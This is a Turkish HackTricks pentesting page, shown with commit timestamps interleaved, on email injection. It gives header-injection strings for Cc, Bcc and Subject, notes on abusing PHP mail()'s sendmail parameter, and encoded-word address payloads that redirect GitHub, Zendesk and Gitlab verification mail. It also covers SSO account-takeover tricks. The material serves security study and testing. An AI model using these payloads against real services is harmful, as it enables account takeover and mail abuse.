hacktricks/pentesting-web/email-injections.md

238 lines
13 KiB
Markdown
Raw Normal View History

# Email Injections
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
Dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturmak ve **otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections) kullanın.\
Bugün Erişim Alın:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>HackTricks'i Destekleyin</summary>
2023-12-31 01:25:17 +00:00
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
## Gönderilen e-postaya Enjekte Et
### Gönderen argümanından sonra Cc ve Bcc enjekte et
2021-11-27 01:09:08 +00:00
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
Mesaj, alıcı ve alıcı1 hesaplarına gönderilecektir.
### Inject argument
2021-11-27 01:09:08 +00:00
```
From:sender@domain.com%0ATo:attacker@domain.com
```
Mesaj, orijinal alıcıya ve saldırgan hesabına gönderilecektir.
### Konu argümanını Enjekte Et
2021-11-27 01:09:08 +00:00
```
2021-05-03 18:33:45 +00:00
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
Sahte konu, orijinal konuya eklenecek ve bazı durumlarda onu değiştirecektir. Bu, mail hizmetinin davranışına bağlıdır.
### Mesajın gövdesini değiştir
İki satır besleme enjekte edin, ardından mesajın gövdesini değiştirmek için mesajınızı yazın.
2021-11-27 01:09:08 +00:00
```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
### PHP mail() fonksiyonu istismarı
2021-11-27 01:09:08 +00:00
```bash
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
2024-02-10 18:14:16 +00:00
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
2021-11-27 01:09:08 +00:00
}
```
#### 5. parametre ($additional\_parameters)
2021-11-27 01:09:08 +00:00
Bu bölüm, **bir saldırganın bu parametreyi kontrol ettiğini varsayarak nasıl kötüye kullanılacağını** ele alacak.
2021-11-27 01:09:08 +00:00
Bu parametre, PHP'nin ikili sendmail'i çağırmak için kullanacağı komut satırına eklenecek. Ancak, `escapeshellcmd($additional_parameters)` fonksiyonu ile temizlenecek.
2021-11-27 01:09:08 +00:00
Bir saldırgan, bu durumda **sendmail için ek parametreler enjekte edebilir**.
2021-11-27 01:09:08 +00:00
#### /usr/sbin/sendmail uygulamasındaki farklılıklar
2021-11-27 01:09:08 +00:00
**sendmail** arayüzü, sistemde kurulu olan **MTA e-posta yazılımı** (Sendmail, Postfix, Exim vb.) tarafından **sağlanmaktadır**. **Temel işlevsellik** (örneğin -t -i -f parametreleri) uyumluluk nedenleriyle **aynı** kalırken, **diğer işlevler ve parametreler** kurulu MTA'ya bağlı olarak büyük ölçüde değişiklik göstermektedir.
2021-11-27 01:09:08 +00:00
İşte sendmail komutu/arayüzünün farklı man sayfalarına birkaç örnek:
2021-11-27 01:09:08 +00:00
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences
**sendmail** ikilisinin kökenine bağlı olarak, bunları kötüye kullanmak için farklı seçenekler keşfedilmiştir ve **dosyalar sızdırılabilir veya hatta rastgele komutlar çalıştırılabilir**. Bunu nasıl yapacağınızı kontrol edin [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
2021-11-27 01:09:08 +00:00
## E-posta adında enjekte et
2022-12-29 12:18:46 +00:00
{% hint style="danger" %}
Eğer rastgele bir alan adıyla (Github, Gitlab, CloudFlare Zero trust gibi) bir hizmette hesap oluşturmayı ve doğrulama e-postasını alarak bunu doğrulamayı başarırsanız, kurban şirketin hassas alanlarına erişim sağlayabilirsiniz.
{% endhint %}
### Bir e-postanın göz ardı edilen kısımları
2022-12-29 12:18:46 +00:00
**+, -** ve **{}** sembolleri nadir durumlarda etiketleme için kullanılabilir ve çoğu e-posta sunucusu tarafından göz ardı edilebilir.
2022-12-29 12:18:46 +00:00
* Ör. john.doe+intigriti@example.com → john.doe@example.com
2022-12-29 12:18:46 +00:00
**Parantez içindeki yorumlar ()** başlangıçta veya sonunda da göz ardı edilecektir.
2022-12-29 12:18:46 +00:00
* Ör. john.doe(intigriti)@example.com → john.doe@example.com
2022-12-29 12:18:46 +00:00
### Beyaz listeyi atlama
2022-12-29 12:18:46 +00:00
<figure><img src="../.gitbook/assets/image (812).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
2022-12-29 12:18:46 +00:00
2024-02-10 18:14:16 +00:00
### Alıntılar
2022-12-29 12:18:46 +00:00
<figure><img src="../.gitbook/assets/image (626).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
2022-12-29 12:18:46 +00:00
2024-02-10 18:14:16 +00:00
### IP'ler
2022-12-29 12:18:46 +00:00
Kare parantezler arasında alan adı olarak IP'ler de kullanabilirsiniz:
2022-12-29 12:18:46 +00:00
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
### E-posta Kodlama
[**bu araştırmada**](https://portswigger.net/research/splitting-the-email-atom) açıklandığı gibi, e-posta adları da kodlanmış karakterler içerebilir:
* **PHP 256 taşması**: PHP `chr` fonksiyonu, bir karaktere 256 eklemeye devam eder, pozitif hale geldiğinde `%256` işlemini yapar.
* `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`
{% hint style="success" %}
Bu numaranın amacı, `RCPT TO:<"collab@psres.net>collab"@example.com>` gibi bir enjekte ile sonuçlanmaktır\
bu, doğrulama e-postasını beklenen e-posta adresinden farklı bir e-posta adresine gönderecektir (bu nedenle e-posta adının içine başka bir e-posta adresi eklemek ve e-postayı gönderirken sözdizimini bozmak).
{% endhint %}
Farklı kodlamalar:
```bash
# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com
# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding
# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
#punycode
x@xn--svg/-9x6 → x@<svg/
```
Payloads:
* Github: `=?x?q?collab=40psres.net=3e=00?=foo@example.com`
* Kodlanmış `@` işaretini =40, kodlanmış `>` işaretini `=3e` ve null'ı `=00` olarak not edin.&#x20;
* Doğrulama e-postası `collab@psres.net` adresine gönderilecektir.
* Zendesk: `"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com`
* Önceki hileyle aynı ama başına bazı normal alıntılar ekleyerek ve kodlanmış alıntı `=22` ekleyerek kodlanmış `@` işaretinden önce ve sonra bazı alıntılar açıp kapatarak Zendesk'in dahili olarak kullandığı sözdizimini düzeltmek.
* Doğrulama e-postası `collab@psres.net` adresine gönderilecektir.
* Gitlab: `=?x?q?collab=40psres.net_?=foo@example.com`
* Adresi ayırmak için alt çizgi kullanımına dikkat edin.
* Doğrulama e-postası `collab@psres.net` adresine gönderilecektir.
* Punycode: Punycode kullanarak Joomla'da `<style` etiketi enjekte etmek ve bunu CSS dışa aktarımı yoluyla CSRF token'ını çalmak için kötüye kullanmak mümkündü.
#### Tooling
* Bu tür kombinasyonları denemek için bir **Burp Suite Turbo Intruder scripti** bulunmaktadır. Script, potansiyel olarak çalışan kombinasyonlara sahiptir.
* Ayrıca [Hackvertor](https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100) kullanarak bir e-posta bölme saldırısı oluşturmak da mümkündür.
### Diğer zafiyetler
2022-12-29 12:18:46 +00:00
![https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](<../.gitbook/assets/image (1131).png>)
2022-12-29 12:18:46 +00:00
## Üçüncü taraf SSO
2022-12-29 12:18:46 +00:00
### XSS
**github** veya **salesforce** gibi bazı hizmetler, üzerinde **XSS yükleri bulunan bir e-posta adresi oluşturmanıza** izin verir. Eğer bu sağlayıcıları **diğer hizmetlere giriş yapmak için kullanabiliyorsanız** ve bu hizmetler e-postayı **doğru bir şekilde temizlemiyorsa**, **XSS** oluşturabilirsiniz.
2022-12-29 12:18:46 +00:00
2024-02-10 18:14:16 +00:00
### Hesap Ele Geçirme
2022-12-29 12:18:46 +00:00
Eğer bir **SSO hizmeti**, verilen e-posta adresini doğrulamadan **bir hesap oluşturmanıza** izin veriyorsa (örneğin **salesforce**) ve ardından bu hesabı **farklı bir hizmette** kullanabiliyorsanız, bu hizmet **salesforce'a güveniyorsa**, herhangi bir hesaba erişebilirsiniz.\
_Salesforce, verilen e-postanın doğrulanıp doğrulanmadığını belirtir, ancak uygulama bu bilgiyi dikkate almalıdır._
2022-12-29 12:18:46 +00:00
## Yanıtla
2022-12-29 12:18:46 +00:00
_E-posta gönderirken _**From: company.com**_ ve _**Replay-To: attacker.com**_ kullanabilirsiniz ve e-posta **içsel bir adresten** gönderildiği için herhangi bir **otomatik yanıt** gönderilirse, **saldırgan** bu **yanıtı** **alabilir**.
2022-12-29 12:18:46 +00:00
## Sert İade Oranı
2022-12-29 12:18:46 +00:00
AWS gibi belirli hizmetler, genellikle %10 olarak ayarlanan **Sert İade Oranı** olarak bilinen bir eşik uygular. Bu, özellikle e-posta teslimat hizmetleri için kritik bir metriktir. Bu oran aşıldığında, AWS'nin e-posta hizmeti gibi hizmetler askıya alınabilir veya engellenebilir.
2022-12-29 12:18:46 +00:00
**Sert iade**, alıcının adresinin geçersiz veya mevcut olmadığı için göndericiye geri dönen bir **e-posta** anlamına gelir. Bu, e-postanın mevcut olmayan bir adrese, gerçek olmayan bir alan adına gönderilmesi veya alıcı sunucunun **e-postaları** kabul etmeyi reddetmesi gibi çeşitli nedenlerden kaynaklanabilir.
2022-12-29 12:18:46 +00:00
AWS bağlamında, 1000 e-posta gönderirseniz ve bunlardan 100'ü sert iadelerle sonuçlanırsa (geçersiz adresler veya alanlar gibi nedenlerden dolayı), bu %10 sert iade oranı anlamına gelir. Bu orana ulaşmak veya aşmak, AWS SES (Simple Email Service) tarafından e-posta gönderme yeteneklerinizi engelleyebilir veya askıya alabilir.
2024-02-05 20:00:40 +00:00
Kesintisiz e-posta hizmeti sağlamak ve gönderici itibarını korumak için düşük bir sert iade oranını sürdürmek kritik öneme sahiptir. E-posta listelerinizdeki e-posta adreslerinin kalitesini izlemek ve yönetmek, bunu başarmada önemli ölçüde yardımcı olabilir.
2024-02-05 20:00:40 +00:00
Daha ayrıntılı bilgi için, AWS'nin iade ve şikayetleri ele alma konusundaki resmi belgelerine [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types) başvurabilirsiniz.
2022-12-29 12:18:46 +00:00
2024-02-10 18:14:16 +00:00
## Referanslar
2021-11-27 01:09:08 +00:00
2022-12-29 12:18:46 +00:00
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
* [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>HackTricks'i Destekleyin</summary>
2022-08-31 22:35:39 +00:00
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturmak ve **otomatikleştirmek için** [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections) kullanın.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}